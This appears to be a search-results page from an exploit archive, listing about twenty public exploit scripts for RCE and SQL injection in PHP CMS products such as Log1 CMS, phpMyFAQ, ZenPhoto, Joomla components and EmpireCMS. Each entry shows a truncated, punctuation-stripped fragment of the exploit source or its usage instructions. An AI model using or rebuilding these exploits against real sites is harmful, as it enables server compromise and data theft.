224 matches found
Log1 CMS 2.0 - ajax_create_folder.php Remote Code Execution
Log1 CMS 2.0 - ajaxcreatefolder.php Remote Code Execution ?php / +-----------------------------------------------------------+ + Log1CMS 2.0ajaxcreatefolder.php Remote Code Execution + +-----------------------------------------------------------+ Web-App : Log1CMS 2.0 Vendor :...
Log1 CMS 2.0 - 'ajax_create_folder.php' Remote Code Execution
?php / +-----------------------------------------------------------+ + Log1CMS 2.0ajaxcreatefolder.php Remote Code Execution + +-----------------------------------------------------------+ Web-App : Log1CMS 2.0 Vendor : http://log1cms.sourceforge.net/ Vulnerability : Remote Code Execution Author ...
WordPress Plugin Zingiri 2.2.3 - ajax_save_name.php Remote Code Execution
WordPress Plugin Zingiri 2.2.3 - ajaxsavename.php Remote Code Execution get; 41. ifremoveTrailingSlash$sessionAction-getFolder == getParentPath$POST'id' && sizeof$selectedDocuments 42. 43. if$key = arraysearchbasename$POST'id', $selectedDocuments !== false 44. 45...
PHPMyFAQ 2.7.0 - 'ajax_create_folder.php' Remote Code Execution
?php / ------------------------------------------------------------------------ phpMyFAQ = 2.7.0 ajaxcreatefolder.php Remote Code Execution Exploit ------------------------------------------------------------------------ author............: Egidio Romano aka EgiX mail..............:...
ZenPhoto 1.4.1.4 - ajax_create_folder.php Remote Code Execution
ZenPhoto 1.4.1.4 - ajaxcreatefolder.php Remote Code Execution ?php / -------------------------------------------------------------------------- Zenphoto = 1.4.1.4 ajaxcreatefolder.php Remote Code Execution Exploit --------------------------------------------------------------------------...
phpLDAPadmin 1.2.1.1 - Remote PHP Code Injection (1)
?php / ------------------------------------------------------------------------ phpLDAPadmin = 1.2.1.1 queryengine Remote PHP Code Injection Exploit ------------------------------------------------------------------------ author...............: EgiX mail.................: n0b0d13satgmaildotcom...
Days buy the background Getshell security-vulnerability warning-the black bar safety net
by k4shifzw. s. t bbs.wolvez.org The last said to-day buy back get the shell. Background injection to the database to insert the code. exp need to fill out the four parameters $host,$path,$formhash, a$cookie. After the submission, the front Desk login code execution. ? php / TianTian Tuangou...
E-Xoopport 3.1 - display.php?katid SQL Injection
E-Xoopport 3.1 - display.php?katid SQL Injection = 5 this may take some minutes.. / EXPLOIT / errorreporting0; iniset"defaultsockettimeout",30; settimelimit0; function httpsend$host, $packet $sock = fsockopen$host, 80; $c = 0; while !$sock if $c++ == 10 die; print "\n- No response from ".$host.":...
Auto CMS 1.8 Remote Code Execution
Date: 10/31/2010 Site: http://www.giudinvx.altervista.org/ Site CMS: http://ventics.com/autocms/ / errorreporting0; settimelimit0; function openfsock $host, $pack if !$fp = fsockopen$host, 80 die"\nNo response\n"; else fputs$fp, $pack; while !feof$fp $ret .= fgets$fp, 1024; fclose$fp; return $ret...
Auto CMS <= 1.8 Remote Code Execution
Exploit for php platform in category web applications ===================================== Auto CMS Date: 10/31/2010 Site: http://www.giudinvx.altervista.org/ Site CMS: http://ventics.com/autocms/ / errorreporting0; settimelimit0; function openfsock $host, $pack if !$fp = fsockopen$host, 80...
RoSPORA 1.5.0 - Remote PHP Code Injection
'; 671. $link=$SERVER'PHPSELF'."?f=".$flag."&s="; 672. 673. if !empty$plarray 674. 675. usort$plarray, createfunction'$a, $b', 'if $a'.$sort.' == $b'.$sort.' return 0; if $a'.$sort.' '.$sorttype.' $b'.$sort.' return -1; return 1;'; 676. Input parameter passed through $GET's' isn't properly...
RoSPORA 1.5.0 - Remote PHP Code Injection
RoSPORA 1.5.0 - Remote PHP Code Injection '; 671. $link=$SERVER'PHPSELF'."?f=".$flag."&s="; 672. 673. if !empty$plarray 674. 675. usort$plarray, createfunction'$a, $b', 'if $a'.$sort.' == $b'.$sort.' return 0; if $a'.$sort.' '.$sorttype.' $b'.$sort.' return -1; return 1;'; 676. Input parameter...
SiteX CMS 0.7.4 Beta - 'photo.php' SQL Injection
?php echo "\n\n\n"; echo " \n"; echo " Product: SiteX CMS 0.7.4 beta /photo.php SQL-Injection exploit \n"; echo " Usage: php.exe sitex.php www.site.com /cmspath/ \n"; echo " Require: Magicquotes = off \n"; echo " Author: Sc0rpi0n RUS http://scorpion.su \n"; echo " Special for Antichat...
SiteX CMS 0.7.4 beta (photo.php) SQL-Injection exploit
Exploit for php platform in category web applications ====================================================== SiteX CMS 0.7.4 beta photo.php SQL-Injection exploit ====================================================== ?php echo "\n\n\n"; echo " \n"; echo " Product: SiteX CMS 0.7.4 beta /photo.php...
帝国（EmpireCMS47） sql inject Exploit
No description provided by source. ?php printr" +------------------------------------------------------------------+ Exploit For EmpireCMS47 Just work as php=5&mysql=4.1 BY t00ls.net +------------------------------------------------------------------+ "; if $argc3 echo "Usage: php ".$argv0." host...
Joomla Component com_pms 2.0.4 (Ignore-List) SQL Injection Exploit
No description provided by source. ?php / -------------------------- Joomla =1.0.15 Component compms =2.0.4 Ignore-List SQl-Injection Vuln -------------------------- Author: M4dhead Vulnerable joomla component : compms Conditions : magicquotesgpc = On or Off it doesn't matter ;...
Joomla! Component com_pms 2.0.4 - 'Ignore-List' SQL Injection
PMS Enhanced-Config Tab: Backend - Ingorlist: Yes Create a valid User on the target Joomla 1.0.15 System with Community Builder, login and copy the cookieinformation into the $cookie var below, adjust the User-Agent on your Post Header dependent on your Browser. Notice: Pay attention on your...
Arab Portal 2.x SQL Injection
getqc &&!isset$apt-getqp $qc = $apt-getqc; $result = $apt-query"select name,comment from rafiacomment where id='$qc'"; $row = $apt-dbarray$result; $apt-row'quote' = "\n\n\nQUOTE..... :".$row'name'."\n".$row'comment'."/QUOTE"; /code - Debug : code $qc = intval$apt-getqc; /code - Note : Path to...
Allomani Songs And Clips 2.7.0 SQL Injection
?php iniset"maxexecutiontime",0; printr' || || | || o,7 || . o7 || q||| o///, : / / . /QQQQQQQQQQQQQQQQQQQ\ q Allomani Songs & Clips v2.7.0 /QQQ/\QQQ\ Blind SQL inj. exploit /QQQQQ/ \QQQQQQ\ q GET 3 /QQQQ/ QQQQ\ /QQQQ/ \QQQQ\ q http://allomani.com |QQQQ/ By Qabandi \QQQQ| |QQQQ| |QQQQ| |QQQQ| Fro...
Morcego CMS 1.7.6 SQL Injection
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ - - + / / / / / / + - / / / / /// / / / /// / / - + / // / // / / / , +\n". "- Ex. : php xpl.php localhost /MorcegoCMS/ root -\n". "+ +\n". "-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n". "\n"; function hex...